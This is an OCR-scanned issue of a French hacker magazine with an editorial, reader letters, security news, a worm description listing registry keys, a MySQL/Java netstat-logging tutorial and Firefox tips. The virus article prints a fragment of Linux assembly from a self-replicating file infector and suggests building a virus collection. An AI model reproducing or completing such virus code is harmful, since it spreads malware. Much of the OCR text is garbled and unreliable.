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Quels sont les bons ?

igthistle nous a mis la puce a l'oreille. Il n'a pas tort. Lorsqu'il y a eu le tsunami dans I'Océan Indien, [Etat
a elé trés genéreux, en renongant a la TVA sur les messages pour faire don d'un Euro au profit dune
ceuvre de bienfaisance, et a celle des fournisseurs téléphoniques, qui renongaient a leurs profits. Oui
bien sur... et pour les cartes prépayées alors? Lorsque j'en achete une a 50 euros, habituellerment
Jjachéte une recharge de 45 euros et le fournisseur teléphonique en prend 5. Lorsque jenvois un message, le
fournisseur a déja récupéré ses bénéfices. '
Au sujet du gouvernement, if est préférable de jeter un voile. Il se sert de tous les cétés au passage et les SMS
ne devraient étre que le dernier de ses soucis.
Ceux qui semblent bons ne le sont pas en réalite, ils en ont que l'apparence. Sur Internel, de maniére générale,
on peut parfois avoir plus confiance. Il est possible que Wikipédia limite les dégats grace & Google. Wikipedia est
l'encyclopédie open source, compilée gratuitement par ceux qui ont décidé d'accorder de leur temps au projet.
Des milliers de personnes [utilisent désormais fous les jours pour tout, des recherches scolaires aux paris avec
les amis sur l'auto apprentissage (ne jamais cesser d'apprendre!). Mais qui donc [heberge ? Les serveurs sont
onéreux et la bande passante également. Le projet est gratuit mais a tout de méme un codt.

C'est ainsi que Google a proposé & Wikipédia un projet d'ébergement gratuit. Le
i 27y

comité des coordinateurs de Wikipédia est en train d'examiner la proposition

et en mars rencontrera ceux de Google via IRC pour en discuter (oui en effel
maintenant sur IRC l'on fait également des affaires). Jimmy Wales, fondateur
de Wikipedia a deja rencontré plusieurs fois Sergei Brin et Larry Page, les
patrons de Google.

Google ne demande absolument rien en conirepartie a Wikipedia. Il a éte
question de publicite sur les pages, mais en fait ce n'est pas le cas. Google a
également des précédents.

Google Groups est un depat illimité de messages de newsgroups qui aurait 4 1
disparu, si Wikipédia ne les avait pas accueilli sur ses serveurs.

Bien sur le cote positif est de pouvoir encore rechercher ces messages.

Lorsqu'on effectue des recherches sur Google, c'est tout a son avantage. C'est pour cela

que dans la communauté il y a beaucoup de voix perplexes. Il est normal quun projet
entierement gratuit et ouvert finisse, tant bien que mal, dans les mains d'une société commerciale ?
Reéponse dun internaute: en plus de le proposer gratuitement, que doit donc faire d'autre une société, si elle veut
contribuer & la progression du logiciel libre (une encyclopédie en ligne est également un logiciel ?)

En aéfinitive, savoir discemer les bons des mauvais n'est jamais facile.

Par contre, il est trés simple de différencier les mauvais. Il suffit de lire la page ci-contre.

lls sont bien plus importants que Google. Ces derniers sont riches, et veulent le devenir d'avaniage en agissant
sans scrupules. Pouvons-nous servir a quelque chose la-dedans 7 Oui,

Darns la recherche des mauvais, nous devons déja commencer par étre bon nous méme. Wikipédia comporte
probablement des failles et attend que nous les colmations. Si nous avons beaucoup apprécié un film que nous
avons téléchargé, peut étre serait-il bienvenu de | acheter par respect pour tous ceux qui y ont participé, et if est
évident que dans cela les droits d'auteur n'ont rien a voir,

La redaction n'est pas responsable des textes, documents,
photos, qui lui sont communigues. La rédaction n'est pas
respansable des textes, photas, illustrations et dessins qui
engagent la seule responsabilité de leurs auteurs. Sauf
accord particulier, les manuscrits, photos et dessins
adressés a Hacker News Magazine publiés ou non, ne sont
ni rendus ni renvoyés. Les indications de prix et d'adresses
figurant dans les pages rédactionnelles sont données 2 titre = = @ e INade
d'information, sans aucun but publicitaire. ous souhaitez pa ner a la vie de voire maaazine au tout simplement pc : DU

Nous avens des occasions illimitées pour étre bons et pour apporter notre contribution, donner quelque chose
én echange de tout ce que nous recevons gratuitement par le Net.

Si vous étes en cours didees, n'hesitez pas a consulter le tout nouveau Hacker Journal, qui comporte
enormement didées. N'hésitons pas | Dévorons le & pleine dent.




L3 baie des pirates

On ne plaisante pas avec la sécurité des
 états, et surtout pas avec celle des
Etats-unis. Gary McKinnon, citoyen britan-

nique a l'origine du piratage de 53 sites d'a-
gences gouvernementales Américaines (et
notamment ceux du Pentagone, de I'US
Navy et de la NASA) risque d'en faire les
frais, puisque les Etats-unis, ont réclamé
et obtenu son extradition au mois de mai.
Gary (aussi connu sous le pseudonyme
"Solo") doit donc désormais passer en juge-
ment devant une cour américaine, et ris-
que fort d'étre accusé de "terrorisme" et
éventuellement de se retrouver a Guanta-
namo pour purger sa peine. |l y a de quoi
s'inquiéter quand on sait que ce pauvre
Gary cherchait simplement a découvrir des
preuves de l'existence des exira-terrestres.
Comme quoi un excés d'X-Files peut avoir
de fort désagréables conséquences.

S

Selon une étude publiée

par le "Web Application Secu-
rity Consortium®, le banditisme
informatique en général et le et le
hack des applications Web en par-
ticulier subiraient une hausse con-
tinue et exponentielle depuis de
nombreuses années. Ce n'est pas
une surprise mais I'étude explique
D'un seul incident de hacking par
application Web recensé en 99, on
est passé a 16 en 2004, 58 en’
2005 et 20 au premier trimestre
2006 !

[p3] [www.hackermag.com)




Hacking |
du petit oeuf Kinder !

Jai publié sur mon site, www.marianoto-
matis.it, le hacking sur comment localiser
(la petite poupée, le petit pantin) Dorae-
mon (ce petit japonais bleu équipée d'une
hélice sur la téte), sans bien évidemment
ouvrir les trois oeufs qui composent l'em-
ballage. Se serait franchement sympa de
votre.part, si vous le publiez sur votre mag...

Mariano Tomatis

Nous parlons de toi ici trés volontiers,

en signalant ton sympathique exploit.

Nous profitons de l'occasion pour dire
que souvent vous nous envoyez des
articles, souvent intéressant, mais qui
ont déja été publiés sur d'autres sites,
et souvent depuis trés longtemps. Nous
sommes ouvert a tout, mais nous pré-
férons étre les premiers, Ok?

(pd) (www.hackermag.com |

tt Mac alors ?

Cela fait un petit moment que je ne vois pas ;

d'articles sur notre bon vieux Mac, surtout qu'il
y-aurait de quoi écrire & son sujet: vous pour-
riez parler des Apple-Script, des utilitaires de
réseau, des terminaux, donner des conseils
pour concevoir un serveur Web avec son propre
ordi...Les Mac sont encore trés présents détrom-
pez-vous, et ils évoluent!

' Laurent Cinieri

Cher Laurent, nous transmettrons ta requé-
te directement a notre éditeur, et peut-étre
nous autorisera t'il en en parler d'avantage?
Surtout, qu'aujourd‘hui Mac signifie Unix et

Mﬂ[llllllg o Wﬁl‘i:lllkmu
passionnement!

Uscrlpt/on. salut la rédaction, je suis I'un de
vos plus fidéle lecteur depuis votre premier
magazine et franchement vous m'avez un peu
dégu depuis que vous ne publiez plus d'articles
sur le modding ou I'overclocking (si cela s'écrit
ainsi:-) - Pour le reste les gars vous assurez,
continuez comme ¢a!

bangboy

I arrive parfois que I'on n’y pense pas. Juste-
ment j'avais préparé un article sur I'overcloc-
king du nouveau Mac, mais malheureuse-

ment des erreurs internes ont fait reporté sa

publication. Lorsque l'occasion se présen-
tera nous répondrons a ta demande, tu as

ma parole! { T
==
’ -1

‘R

ne pas en parler serait illogique, dans I
communauté hacker. il est vrai que les sujets
sont innombrables et également la diffusio
du Mac Os X est en plein essor, surtout
apreés l'incroyable et trés abordable Mac mini,
qui permet d'apporter a votre ordinateur, des
potentialités tres élevées et parfaitement
adaptées pour se connecter avec d'autres
utilisateurs dans le monde. Cela justifie en
effet qu'un mag comme le notre s'y intéres-
se. Nous essaierons de contenter tout le
monde, c'est promis.

e retour des googlewhack

lut & tous, je suis un gargon de 15 ans,
Ipassionné de programmation et de graphi-
smes Web. Je vous contacte outre le fait de
vous parler de googlewhack, et bien pour
demander si vous souhaitiez avoir un site wap?
Personnellement, cela fait 5 mois que j'écris en
WML et il faut dire sans me vanter que je m'en
sors plutét bien...Si vous le voulez je pourrai
méme vous écrire un article, qu'en dites vous?
Sliis vous conviennent vous pourrez alors publler
mes googlewacks?

barreblindée phonique
Futilités ruineuses
Meéditatif paraliaxe e =
Rythmiquement résumé [ -

Graveur contondant E
mousquetaire chauvin
Loquacement démagogue
Tableau cravaté

David C.

Merci pour ta proposition. Comme tu peux
constater dans ce numéro, nous parlons
justement de WML. Nous publierons avec
plaisir les sites que tu as congus. Bien évi-
demment, nous publions également les goo-
glewhack: une paire de mots présents sur le
dico, qui en cherchant sur Google, donne
comme résuitat un seul site. Si vous pou-
vez en trouver d'autres n'hésiter pas a nous
écrire!
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Do the math.

How much will it cost 1o fill up your player?

‘ B _ 540,000

anPodd.

Test f0000son0s 10

oot a0 2005
e e o

GONTRE

Rég/er ses comples: cest en résumé le contenu du
message qui occupera Napster dans la campa-
gne publicitaire la plus chére de [istoire pour essa-
Yer de faire obstacle a 'tnorme diffusion d'iPod et
du service Tunes Music Store.

Nous savons que le prix du 1éléchargement de fichiers
audio suriTunes Music Store est de 0,99 euros. Par
conséquent celui de dix milles fichiers pour saturer
la capacité d'un iPod, nous en coitterait presque 10
milles.

Par contre, Napster propose un abonnement men-
suel, de 15 dollars, qui vous permet de télécharger
tout ce que vous souhaitex. L'on peut trouver ce ser-
vice nommé " Napster To Go " & ladresse www.nap-
ster.com.

11y a toujours le méme probleme : la musique de
Napster est également protégée par les protections
DRM (Digital Right Management) de Microsoft qui
pénalise ceux qui la téléchargent. Pour remédier a
cela faudrait-il peut-tre augmenter le tarif 2
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http://www.nitropdf.com/

MIGROSOFT UN BULLETI
DE GUERRE

Microsoft n'a
que 17 fail-
les colmatées,
avec autant de patchs a télécharger pour Win-
dows et ses composants. Cela va d'une mise a
jour d'ensemble de Microsoft Explorer au com-
blement d'une faille de MSN et Windows Mes-
senger qui permettait d'exécuter des codes gré-
ce aux images .png adroitement envoyées aux
utilisateurs ignorants.

Et si ces défauts s'appliquaient & notre voiture ?
L'on recevrait tous les mois un coupon pour cor-
riger ces 17 problémes de sécurité ... Qui en
voudrait encore apreés cela ?

De plus, il y a méme ceux qui ne souhaitent pas
que I'on parle trop de Macintosh, Linux et des
autres systémes d'exploitation, plus fiables.
Au nez et a la barbe de nous tous.

S ,‘# B2 (IEnm i nin on
.
';"|| Gotaalocaton:
{ famay S|
| [omaket st san fmncis _Search |
‘I.'- Find » businees:
~ hotels nearfax Seasch |

pm Seasch

s | ol
 Gedewcson:
| R30Sk neeyek, Search |

| Cameowmin Search |
| i

Drag 8 s eyt msse, o
| oublechck o cmm [in s

; i ;ﬁetuellement On attend a présent que

‘ _.é"'ést le meilleur service d’i’s'p"bnﬂ)“l'e

DES LUNETTES -

ANINTINIAMTE
UULINTILLANILY

¢ brevet dépose par Nokia stir une mon-

ture de lunettes qui vous avertit lors-
qu'on vous appelle sur votre portable a été
finalement approuvé. Vous pourrez ainsi
grace a cet accessoire étre averti de tout
appel entrant sans déranger quiconque en
laissant votre mobile en position mute.
Nous ne jugeons pas qu'il soit vraiment indis-
pensable mais si Nokia la congut c'est qu'il doit
certainement y avoir une raison.

want e foitle
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phpob—
YT Rbee com

Lt usdated: Oth February 2005, 12:22 GHT
16 wxaryene,

raning by

peosie Sared on sud
, st Our system was

mpromived dus t any sk in phodd 2.0.11
Secver update,

e
. & want woukd
e dant “marcale”. ey

e
) (302h).
comment on the mathod ured 1 exok our 5K or a8 st sevecal dars.

43 1 1ay 3bows, our best

~découvrir uniquement par la suite.

'offensive menée contre le site de
I'immense communauté
http://phpbb.com/, comptant parmi

. les premiers forums sur I'Open Sour-

ce, a été un succeés. Sa restauration, qui
évidemment prévoit le colmatage des
breches qui ont engendré ce probléme,
exige du temps et de I'énergie, égale-
ment parce qu 'il faut rétablir la base de

| données qui gére l'ensemble.

~ Une regle d'or a suivre par tous.

- L'on demande d'autre part sur le site, a
tous les utilisateurs de toujours mettre

a jour leur systeme d'exploitation, afin

‘d'éviter que d'autres désagréments se

produisent.

‘Méme si nous n'en connaissons pas les

raisons, nous aurons la possibilité de les

PASSOHRE

Comme siles prodults ‘passoires” de Microsoft ne suffisaient pas. La der-
niére faille en matiere de sécurité, a été découverte par

Symantec dans son principal antivirus, utilise dans la plupart de &

ses produits. Par conséquent, tous les ordinateurs disposant de

Symantec, de Windows a Macintosh, de Linux aux systemes d'en-

treprise AS400, sont vulnérables. Selon la société américaine [ =

Internet Security Systems la bréche permet a un cracker de fai- =59

re sauter nimporte quelle protection et de pénétrer au sein des -

systemes au niveau client et serveur de réseau, pour aboutir au contréle de ce der- |
nier. Le probleme est causé par une erreur dans la gestion de la mémoire, qui peut |
provoquer un heap overflow engendre par le module dec2exe.
En envoyant un fichier par email spécialement congu, un agresseur peut engendrer |
I'erreur et en exploiter ses conséquences sans interagir avec |'utilisateur. C'est une véri
table bombe comme nous pouvons le constater d'apres le bulletin que nous trouvons

A

A=

- a ladresse. www.symantec.com/avcenter/security/Content/2005.02.08.html.

! 1'-
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_ Il se copie

et sesepand sous le nom de Pro-
jectx.exe dans le repertoire racine des
volumes partages des ordinateurs con-

p8 ' www.hackermag.com |

MMWM%WMWWMWMWMMMP

nectés en réseaux, en s'autorépliquant
sur I'ensemble des supports fixes pré-
sents, excepté le disque local C:

Cisum.A est également trés facile a dia-
gnostiquer parce que ceux qui I'ont rédi-
geé n'ont pas omis de faire apparaitre
sur I'écran du PC une inscription de
couleur rouge sur fond noir qui dit "You
are an idiot !!!"(Vous étes un imbécile),
suivie de trois points d’exclamation, ce
qui dénote la tres mauvaise maitrise de

‘leur langue.

Un seul point d’exclamation

aurait suffit. Non satisfait, le

créateur du worm a également voulu y
inclure un fichier MP3 contenant la
méme phrase, suivie d'une suite de "oh
oh oh oh oh oh", qui nous est répétée a
intervalles de 5 secondes.

A

Ty

le plus faible du monde.

Comment fonctionne-t-il ?

Pour éviter qu'un antivirus parvienne
a détecter sa présence au cours de son
autoréplication, le programmeur a utilisé
un mutex (mutual exclusion), c'est-a-dire
une primitive de synchronisation qui per-

Reqgion: Lufedti
Vo {}
healt -
X
‘%.-g 4
< B 3 24

,

(=TT
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La carte desvirus

met d'éviter que des ressources non par-
tagées d'un systeme soient utilisées en
méme temps.

Cela devient donc difficile pour un syste-
me de contrble de s'apercevoir de la répli-
cation d'un fichier exécutable.

La premiére action effectuée par ce virus
est de tenter d'interrompre les processus en
cours sur le PC.

Ces derniers concernent généralement tou-
tes sortes de pare-feux (parmi lesquels
zonealarm.exe et zonalm2601.exe) et d'an-
tivirus, mais également d'autres processus
tel que msconfig.exe, msinfo32.exe et ain-
si de suite. Bien évidemment, en procédant
de la sorte le PC se trouve soumis égale-
ment & toutes les autres attaques éventuel-
les qui devraient se déclencher aprés con-
tamination. Nous trouverons par contre
dans les registres de Windows, les nou-
veaux objets suivants :

_ HKEY_LOCAL MACHINE\ SYSTEM\ Conttrol-

Setoon\ Services\ Projectd

DisplayName = Pro jecti
—WMIK\S\SMW—

Projectd

Setnoi\ Services\
ErrorControl =0 _ i
- HKEY_LOCAL_MACHINE\ SYSTEM\ Control-
Setooi\ Services\ Projectt
ImagePath = Zsystdir %\ Zfile%.exe
~HKEY_LOCRL_MRCHINE\ SYSTEM\ Control-
Setd01\  Services\
OhjectName = LocalSystem
-H(E?JMIHE\MMW—
Setoon\ Services\  Projectd
Start=2

Set0DI\  Services\  Projectd
Type =0x110 '

~ HKEY_LOCAL_MRACHINE\ SYSTEM\ Control-
Set001\ Services\ ProjectH\ Security Secu-
rity = 7dati binari%

Ol respectivement %sysdir% représente
le répertoire systeme de Windows et
%file% le nom aléatoire attribué au ver.

Global virus observatory byPanda

Percentage of PCs infected [ *

Infections by: EUEITEED

ps S N T
« last month -

Projecti :

En France, celui qui se trouve en premie-
re position est Netsky. P. Ce dernier est éga-
lement redigé en langage C++v.6.0, et a
une taille de 29.568 Ko. Il se propage pa#
messagene et peut revétir différents

of an it
e is inspired of

el Stameve.asm
1d -0 Sievexe Siamexe.o

bits 32
global _start

Adegine §YS

L'objet du courriel, se présente souvent par
des phrases du type de "Please read the
attached file " plutét que « Re: Bad
Request » ou « Re: MailServer ».

A la fin du message, un avertissement du
type de +++ Attachment : No Virus found
+++ MC- Afee AntiVirus -
www.mcafee.com, permet de rassurer les
utilisateurs.

Le fichier exécutable créait un fichier nom-
mé ‘Dro'pp’ed' SK'y'N'e't tandis que DLL
en créait un autre appelé lui _-0O]xX|-S-k-
y-N-e-t-[Xx[Oo-_

Done si nous les reconnaissons il faut tout
de suite s’en débarrasser. Mais cela est
normalement de la responsabilité de notre
antivirus, car il est en mesure de reconnai-
tre le fichier incriminé par le fait que le fichier
exécutable renferme le texte suivant :
Urtima'tivie ‘E' n'c’r‘y’p‘t’e’d ‘Wo'rm'D’-
ropperby'SkyNet!C'Z'Corp”Dro*-
ppedSKyNet 'SKyNetFightsBa'ck

push  eax
pushad : Restore all flags

mov ebx, dvord [esp+32+4+4] ; get argv(0]
call delta

delta:

pop =bp

; copy the virus body in the stack and exectuce 1%
nov scx, end_of_host - begin host

aub esp, ecx

1ea €31, [ehp-delta+ begin_host]

‘mov edi, esp

cep movsb

Jmp esp

begin_host:
push  ebx
lea ebx, [ebp-delta+ start]
and ebx, OFFFFF000h
rov ecx, 3000h
mov edx, 7 4
oV eax, SYS_deprotect
int 80k

xor ecx, ecx
pop ebx
nov eax, SY5_open
int 80h

: in mode O

: open host file

cmp eax, OxFFFFFO00
Ja fuck

call dot
@ w0
dot:pop esi

push  eax
call  InfectDirsctory

Le C ++ et I'assembleur sont certainement
les plus utilisés et de nombreux sites nous
indiquent des serveurs auquel s’adresser
afin de nous constituer une collection de
virus acceptable.

Cela demeure en soi, quelque chose d'il-
Iégal car I'on posséde entre les mains
« des armes qui peuvent détruire massi-
vement les ordinateurs des autres ». Tant
que l'on ne les utilise pas, ils peuvent repré-
senter un excellent sujet d'étude.

Mais si quelqu'un parvenait a s’approprier
notre librairie de virus, nous serions dans
ce cas immédiatement complices de leur
diffusion et de ce fait passible de lourdes
peines aujourd’hui en vigueur dans !e
monde entier.

{ (p9 m.l;aclermag.cnm




Faire fonctionner 1a base'
(e donnees Bpensource

12 plus répandue ai.monde

et ce, a I'aide de simples
morceaux de code Java

n peut faire tout un tas de cho
ses avec une base de donnée:
telle qu MySQL, et méme crée
des contrdles de notre activit
réseau. Qui sait, on pourrait aus
si découvrir gue quelgu'un tent

de s'introduire dans nos systémes !
Voyons comment faire

p10) [www.hackermag.com) |
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Procurez-vous
les bons outils

Allez sur le site http://dev.mysql.com et
téléchargez les fichiers pour installer la
base de données serveur et les outils
GUI d'administration (MySQL Administra-
tor) et d'interrogation (MySQL Query Brow-
ser), sans oublier le driver JOBC (MySQL
Connector/J) qui vous permettra d'accéder
ala base de données en utilisant la langa-
ge Java. Les phases d'installation sont sim-
ples et certainement a la portée de tous.
Voyons en revanche comment utiliser les
outils a notre disposition pour constituer
une simple base de données, et comment
s'interfacer avec celle-ci en utilisant le lan-
gage Java.

Premieres etapes

Lancez le serveur, si ce n'est pas enco-
re fait. Vous pouvez utiliser MySQL
System Tray Monitor, ou le lancer sous Win-

- dows en exécutant services, msc et lan-

® MySQL Administrator - @localhost: 3306
File Edit View Tools Help

. jrsewer lhf;rn;atioﬁ |
@ Service Control :
'QJ Startup Variables ’ 3 ,(A;Stlables of thy
@ User Administration ; s Sl
1 g_ Server Connections . | TableNeme :
| U Health ; ‘
.-E:J‘ Server Logs \ |
, Repilication Status i
;‘5; Backup |
| Q" Restore |
W Catalogs

Schemata

‘ Drop Schema

| « Create New Table |

U] {2 commande 1 12 eréation du tableay

cant le service corresponsant a MySQL.
Puis, avec MySQL Administrator, créez un
nouveau schéma (ou catalogue) en sélec-
tionnant la rubrigue Catalogs, et a partir du
menu du panneau du dessous (le focus

doit &tre appliqué au panneau), la rubrique
"Create New Schema'.

Vous pouvez donner n'importe quel nom
au schéma. Apres avoir sélectionné le nou-
veau catalogue, le bouton “Create Table"
vous donnera accés au Table Editeur, ou
vous pourrez définir et éventuellement
modifier les tableaux de ia base de don-
nees.

Parmi les autres tableaux que vous pen-
sez créer pour votre db (car vous avez bien
quelques tableaux a l'esprit, pas vrai ?),
créez également le tableau LOGGER.

» CHRNI=

et pour éliminer toute la suite du
tableau :

delete from logger

interrogeons le 0B
a partir de JAUR

Si, au lieu de travailler sur le db a 'ai-
de du Query Browser, vous souhaitez
y accéder par le biais d'un programme,

Colurans and Indices 1 Table Options | Advanced Options |

i Column Name Datatype

? D %, INTEGER

@ DATE “@ DATETIME

@ MESSAGE |} VARCHAR(255)

Hot
NULL

v
v

8 Flags

v [ UNSIGNED [] ZEROFILL

Def

[ BINARY

Le tableau logger :
pas mal, non ?

Le tableau LOGGER dispose :

® d'un champ clef ID de type INTE-
GER qui regoit automatiquement la
valeur (auto-increment) 1 pour la pre-
miere entrée, 2 pour la seconde et ain-
si de suite ;

® d'un champ obligatoire (not null)
DATE de type DATETIME qui servira
a mémoriser des informations sur la
date et I'heure ;

® d'un champ MESSAGE de type
VARCHAR( 255) pour mémoriser une
information textuelle avec un maximum
de 255 caracteres.

Une fois le tableau créé, vous pouvez
utiliser le Query Browser pour entrer
et récupérer les données.

Par exemple, pour entrer un record,
vous pouvez utiliser la commande sui-
vante :

insert into logger
(date,message)

values

(now(), messaggio di prova’)
per visualizzare i dati presenti:

select * from logger

LE Ro!l DES SERVEURS POUR LES
BASES DE DONNEES

ySOL est un serveur pour la gestion

de bases de données relationnelles,
le RDBMS (Relational Data Base Manage-
ment Server) pen Source le plus diffusé au
monde, a tel point qu'il est utilisé par de
nombreux fournisseurs de services de
hosting web et par des sociétés du calibre
de Google et de la NASA.

Au fil des ans, MySQL a atteint une bonne
puissance et une certaine fiabilité, au point
qu'on le préfere souvent a des produits con-
currents plus titrés et coliteux (dont Oracle
et MSSQL Server), grace notamment au type
de licence avec lequel il est distribué, la
General Public License, qui permet une uti-
lisation libre du software (a condition de se
plier aux conditions de la licence).

Pour ceux qui ne souhaitent étre liés a la
licence GPL, car ne souhaitant pas, par
exemple, distribuer librement ses applica-
tions, il est également possible d'acheter une
licence commerciale du produit.

[ 911 wwwhackermag.com




import java.sql.Connection;

immport java.sgl.OriverManager;
import java.sgl.PreparedStatement;
impaort java.sglResuliSet;

import java.sql.SOLException;

public class DEManager {
private String usr=nul;
private String psw=null;
private Connection conm=null;

public DBManager {(String usr,String psw{
this.usr=usr;

try{
Dass.forName('commysgl. jibe.Driver ').newin-
stance();
jcatch(Exception ex){
//nop
: }

ic
: this(rutt,ml);
protected void createConnection(){
if (conn==null)

try{
String strConnection =
" jobezrrysgl://iocalhost/prova’”;
if (usr=null){
strConnection:="7user="+usr;
if (pswi=null)
strionnection+"Gpassuword="+psiig
lelseif (psw!=null)
strConnection+="?passuord="+
conn =0river™Manager.getConnection(strComec—
tion);
} catch (SOLErception ex) {
//  handie anyerrors
Sl_.FlBTI.tI.It printin("SOLEsception: " + enget-

- Smtanmt.;nnllri ‘SOLState: '+ engetSOLSta-
t

Sustermout printin(*Uendor Error: "+ engeter-
mrl:}uml!l;

{.

}
public boolean Log(String message){
boolean flag=false;
if (conn=null)
createConnection();
PreparedStaterment stmt = null;
try(
if (lenistMessage(message)){
stmt = conn.prepareState-
ment{insert into Ingger (date,message) values

(noud),?)");
stmt.setString(1,message);
flag=stmt.executel);
} simt.dose();
JcatchiEnception ex)|
//nop
]
return flagg;

}
protected boolean existMessage(String message)(

boolean flag=false;

if (conm—=nuil)

createConnectiond);
PreparedStatement stk =null;
try{
stmt =conn.prepareStatement(“select * fromlog-
ger where message=7");
strmt.setString( 1, message);

p12) [ wwwhackermag.com ‘
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ResultSet rs=stmt.enecutequery();

flag=rs.next();
rs.close();
stint.close();
Jcatch(Exception ex){

public class Netstat {
public static vaid main(Stringl] args) {
Thread thread = newThread(){
dh = newDBManager();
BufferedReader in=nuil;
public void run()(
while (true){

Runtime r=Runtime.getRuntime();
Process p-r.exec( 'netstat'); ]
"I" =

new BufferedBeader(new
InputSireameader(p.getinputStream()));

String msg;
while((msg=in.readLine())=null)(
dh.Loglmsg);
Systemaout.printin(msg);

inclose();
Thread sieep(S000);
Jeatch{Exception ex)|

vous pouvez alors utiliser un programme
Java, et tout ce dont vous avez besoin,
c'est (bien évidemment) d'une JDK (1.4.X
minimum) et du driver JDBC
(MySQLConnector/J).

Le driver JDBC est distribué en archive
.Zip ou .tar.gz contenant les sources, les
fichiers class et un fichier class binaire
mysqlconnector- java-[version]-bin.jar ;
pour installer le driver, il vous suffit d'ajou-

ter au CLASSPATH le répertoire d'ou a |

été extrait ce dernier fichier.

Créons deus simples
fichiersJava

Appelons-les DBManager.java et
Netstat.java : I'objectif consiste
a surveiller notre activité réseau
(voir listages reportés a gauche).
DBManager ouvre une connexion avec
le DB et insére un message dans le
tableau logger.

Il peut étre instancé sans aucun para-
metre (constructeur vide). Dans ce cas,
on tente d'effectuer une connexion
anonyme au db, ou on lui donne un
nom d'utilisateur et un mot de passe
pour l'acces.

Le constructeur de DBManager enre-
gistre également le driver jdbc par la

- commande

Class.forName(“com.mysql. jdbc.Dri-
ver”).newlinstance();

La méthode createConnection crée en
revanche une connexion au db. La
méthode Log permet d'insérer une
ligne dans le tableau logger. L'insertion
n'est possible que si le message que
I'on souhaite entrer n'est pas déja pré-
sent dans le tableau, de fagon a éviter
toute présence d'informations redon-
dantes. ExistMessage prend en char-
ge ce dernier controle.

Netstat est notre point d'acces au pro-
gramme : il renferme en effet la métho-
de principale, au sein de laquelle un
thread infini exécute plusieurs fois (tou-
tes les 5 secondes) la commande net-
stat et remet son output a la méthode
Log d'un objet DBManager créé a cet
égard.

Un résuliat o sont uniquement pré-
sentes des connexions internes a la
machine, comme par exemple celles
entre le programme Java et le db. Bien
sQr, le résultat pourrait étre trés diffé-
rent, et révéler quelques mauvaises
surprises =

Jrri e ooy
t ¥ i
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HACKING=

OZHLA

POUR AGGELERER NOTR
DE NAVIGATION SUR INTERNE

oyons comment procéder
pour booster Firefox, par
quelques petites astuces
cachées.

Le point départ est treés sim-
ple ; il suffit de saisir :

dans la barre d’adresse. Une longue
liste de variables, aisément modifiables
a l'aide d'un double-clic apparait. Atten-
tion a ne « toucher » uniquement celles
qui conviennent. Cela permet d'accroi-
fre la vitesse de notre navigateur préfe-
ré a condition de disposer d'une conne-
xion ADSL.

‘De quelle maniére ? En double-cliquant
surchacune d'entre elles, et ensuite en
cherchant et en disposant celles présen-
tées ci-aprés de la maniére suivante :

MID HACKING

L'on peut inclure un parametre permet
tant d’eviter les retards dans l'ouverture
des images. Nous pourrons rapidement
constater son efficacité par I'augmenta-
tion de la vitesse d'affichage.

Il suffit de procéder de la maniere sui-
vante : effectuez un clic droit n'importe
ol au bas de la page « about:config ».
Ne vous souciez pas de la variable
sélectionnée, mais par contre choisis-
sez dans le menu qui apparait « Nou-
velle > Numérique » et ensuite écrivez :

Un clic sur « Ok » permet de faire
apparaitre la fenétre dans lequel vous
insérez une valeur.

Veérifiez que celle-ci soit-a zéro et lais-
sez-la ainsi. Cliquez ensuite sur Ok. Une
nouvelle variable apparait a présent

Les variables « network pipelining »

dans la liste, qui fixe a zéro le temps

permeitent d'optimiser une conne-
Xion dans un serveur et donc de
mieux exploiter la bande.

hrumsar.tﬂhs.shumsmg_a i

d'attente pour afficher les images de la
page : c'est une petite astuce qui nous
sera immeédiatement appreciable. &

M:dBPrst-

UTILISER FIREFOX DEPUIS UN SUPPORT AMOVIBLE

eprenons et signalons cette bidouille interessanie que I'on peut

trouver sur le site de Mozilla France (hitp://www.mozilla-
europe.org/ir/). Cette suggestion permet de lancer Firefox directement
depuis un support amovible, comme une clé USB par exemple et a été
testée uniquement sur Windows XP/2000. Cela permet d'utiliser Firefox
sur n'importe quel ordinateur, méme si ce dernier n'est pas installé. La mar-
che & suivre est la suivante :
1. Copier le répertoire du programme de Firefox et celui du pro-
fil sur un support amovible. Dans cet exemple, I'on considére

« Ri\Firefox » comme le répertoire du programme et « R:A\FFProfile »
comme le répertoire du profil, a la condition que |a lettre attribuee
au dispositif soit R:.

2. Créer un simple fichier batch nommé « R\Firefox.bat » renfermant
le contenu suivant: « start \Firefox\firefox.exe - profile \FFProfile »

3. Pour réduire la quantité de fichiers 2crits sur le support amovi-
hle, il est possible de désactiver le cache sur le disque en saisissant
« about:config » dans la barre d'adresse de Firefox et en paramétrant
« browser.cache.disk.enable » sur false.
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b 3L Yo L Juandpasse el futor se reneantrent

g ey ot e LES Nouuiu.ﬁs
es plus vieux d'entre nous  n'est vraiment pas ce qu'il y a de mieux PaR=C o
avons joue sur les vrais jeux  faire dans notrep salon, maisy ce sera diffici- fRONTIEREs [F“ LESER

arcade et certains se sont  le de créer quelque chose de plus cool. [
méme fait peur sur les jeux o [Cncore inconcevable il n'y a pas si long-
video de bar. En effet, cesder- Le projet a été créé en 2000 par Rob [l BGI I ER R EREREIE il @O R
niers étaient beaucoup plus diver- ~ Mudryk et Matt Polak, mais est rapidement ISR AV del bl el CROE
tissants que les stupides jeux de poker  tombé dans l'oubli jusqu'a I'année dernie- EREICRTs TR ailer R @ L CIEIR R
d'aujourd'hui. Les plus jeunes ont l'avanta-  re, lorsque il recu une nouvelle impulsion. T HER R gl E R R TN &R RV RS
ge d'avoir de véritables ordinateurs et ain-  Ce qu'il y a de bien dans l'open source, [ERE{URTIIERE o CIPWER-To0] 1o (RIS e To WL
si que le remarquable émulateur open sour-  c'est que méme un projet oublié reste un  EJUEEIREERERGEWETCRIIEENE R

ce des jeux arcade MAME. héritage qui appartient & tous. I'image, par exemple comme en évitant les
Cela nous permet de jouer aux jeux que  Le code modifie MAME pour qu'il puisse  IGSOISHESERINERI (il AR IR T
nous voulons et de plus gratuitement. piloter une carte QM2000 de Pangolin  [EHiERIENICRTTIER R G CTIgRTNEi
Laser System, qui est installée dans le bus hors de prix ; le colit des systémes.avant-gar-

. - PCI de l'ordinateur, et qui permet de des- dis’fes dépassent les six milles euros ! Il est pro-

un PrUJEt I]I’IIIEII'It siner avec le laser sans que cela soit visi-  bable que dans.quelques années nous pour-
ble a l'écran. {rons tous nous offrir une carte:a un prix abor-

" Laser-MAME " reprend les anciens idable et nous amuserméme a eréer des effets

jeux vidéo et les transforme en 3D, grd-  Les systémes de dessin actuels au laser  [EREMCEICHEUEIR a0 o e

